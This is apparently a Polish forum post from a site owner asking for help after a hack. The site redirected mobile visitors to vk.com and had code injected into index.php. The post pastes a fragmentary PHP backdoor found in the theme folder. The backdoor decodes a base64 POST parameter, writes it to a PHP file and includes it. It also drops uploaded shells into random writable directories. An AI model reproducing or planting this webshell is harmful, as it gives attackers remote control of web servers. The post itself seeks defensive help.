Ostatnio spotkałem się z wynikiem shakowanej strony. Na początku zaczął mi się dodawać złośliwy kod w pliku index.php w głównym katalogu strony. Strona jest postawiona na autorskim CMS'ie od osoby mi nie znanej. Funkcjonuje bardzo podobnie do CMS Razor. Oczywiście nie ma własnej bazy danych.
Ale zacznijmy od tego co się działo:
1. Dodawało złośliwy kod do pliku index.php w katalogu głównym (nie w katalogu z szablonem).
2. Przekierowywało stronę na nowy adres vk.com w urządzeniach mobilnych
3. Na urządzeniach stacjonarnych wyświetlały się komunikaty o błędach
4. Złośliwy fragment usuwałem na bieżąco
5. Problem pojawił się z końcem Grudnia - początek Stycznia
5. Zablokowana strona przez Google
6. Przywrócenie kopii z Listopada - co do pewności zawirusowania nie mam, ale na pewno nie ma dziwnych plików i wtedy funkcjonowała normalnie.
7. Chciałem wprowadzić zmiany w szablonie, otwieram folder theme, a tam plik o nazwie: O__Kw3Sdnm.php
8. Wcześniej go nie było, ale treść pliku mnie przeraża, Z tego co udało mi się rozszyfrować to wprowadza jakiś ciąg znaku zmienia prawa pliku co daje mu dostęp do Nich, a zmieniane pliki sobie losuje.
9. Usunąłem go.
10. Odkąd wykonałem kopie błąd z końca Grudnia się nie powtórzył (wcześniej zdarzało się to 3 razy na dzień).
Bardzo proszę was o pomoc, bo nie wiem jakie działania mogę podjąć :c Nie mogę pozwolić na to, aby strona nie funkcjonowała tak jak należy, ponieważ jest to główny sposób zarobku.
<!--FILE IS NULL OR EMPTY--> <?php $version = "1.5"; $isevalfunctionavailable = false; $evalcheck = "\$isevalfunctionavailable = true;"; if ($isevalfunctionavailable === true) { $fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e"; $fv = $fnsdht($_POST["gjwqweodsa"]); //@eval($_POST["gjwqweodsa"]); }else{ //$dop = "\n@unlink(\"".$mpath."dsadasdsa1fag1.php\");\n"; if(@file_put_contents($mpath."dsadasdsa1fag1.php","<?php\n".$fnsdht($_POST["gjwqweodsa"])."\n?>")){ @include_once($mpath."dsadasdsa1fag1.php"); }else{ } } } //if (is_uploaded_file($_FILES['file']['tmp_name'])) { if($namecrt == "random"){ $fname = make_name($fname); } $uploadfile = ""; if($save_type == "same_dir"){ }else if($save_type == "sub_dir"){ } }else if($save_type == "root"){ $root = $_SERVER['DOCUMENT_ROOT']."/"; $uploadfile = $root.$fname; }else{ } }else if($save_type == "root_in_dir"){ $root = $_SERVER['DOCUMENT_ROOT']."/"; $uploadfile = $root."$dirname/". $fname; } }else if($save_type == "random_dir"){ $uploadfile = choose_dir(); $uploadfile = $uploadfile.$fname; }else{ } }else if($save_type == "random_dir_random_dirname"){ $chodir = choose_dir(); $uploadfile = $chodir.$dr."/".$fname; } }else{ } if($file_type == "file"){ { if($is_sh == "1" or $is_sh == 1){ if($change_pass == "1" or $change_pass == 1){ }else{ $auth_pass = ""; } @file_put_contents($uploadfile,$d); } } else { } }else{ if($is_sh == "1" or $is_sh == 1){ if($change_pass == "1" or $change_pass == 1){ }else{ $auth_pass = ""; } } if(@file_put_contents($uploadfile,$ftdata)){ @chmod($uploadfile,0644); echo "UPLOAD:http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile)."-END"; }else{ if($fp === false){ }else{ @chmod($uploadfile,0644); echo "UPLOAD:http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile)."-END"; } } } } function make_name($curname){ $l = array("_","__","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m", "1","2","3","4","5","6","7","8","9", "Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"); $ret = ""; for($i = 0; $i < $leng; $i++){ } return $ret.".".$curname[1]; } function choose_dir(){ $lim = 0; } $cpath = ""; foreach($t as $key=>$val){ if(@file_put_contents($res_dirs[$key]."t.php","hello")){ //$cpath = $res_dirs[$key]; //break; $wrt_dirs[] = $res_dirs[$key]; } } } } $cpath = $_SERVER['DOCUMENT_ROOT']."/"; } return $cpath; } function my_scan($startDir,&$lim){ $cur_dir = @scandir($startDir); $one_dir = $cur_dir[$ii]; if($lim > 100)break; $d = $startDir.$one_dir; if(!@is_link($d) and @is_dir($d."/") && $one_dir !== "." && $one_dir !== ".." && $one_dir !== "cgi-bin" && $one_dir !== "webstats" && $one_dir !== "uploads" && $one_dir !== "upload" && $one_dir !== "js" && $one_dir !== "img" && $one_dir !== "images" && $one_dir !== "templates" && $one_dir !== "webstat" && strpos($one_dir,"backup")===false){ $res[] = $d."/"; } } $lim++; } return $res; } ?>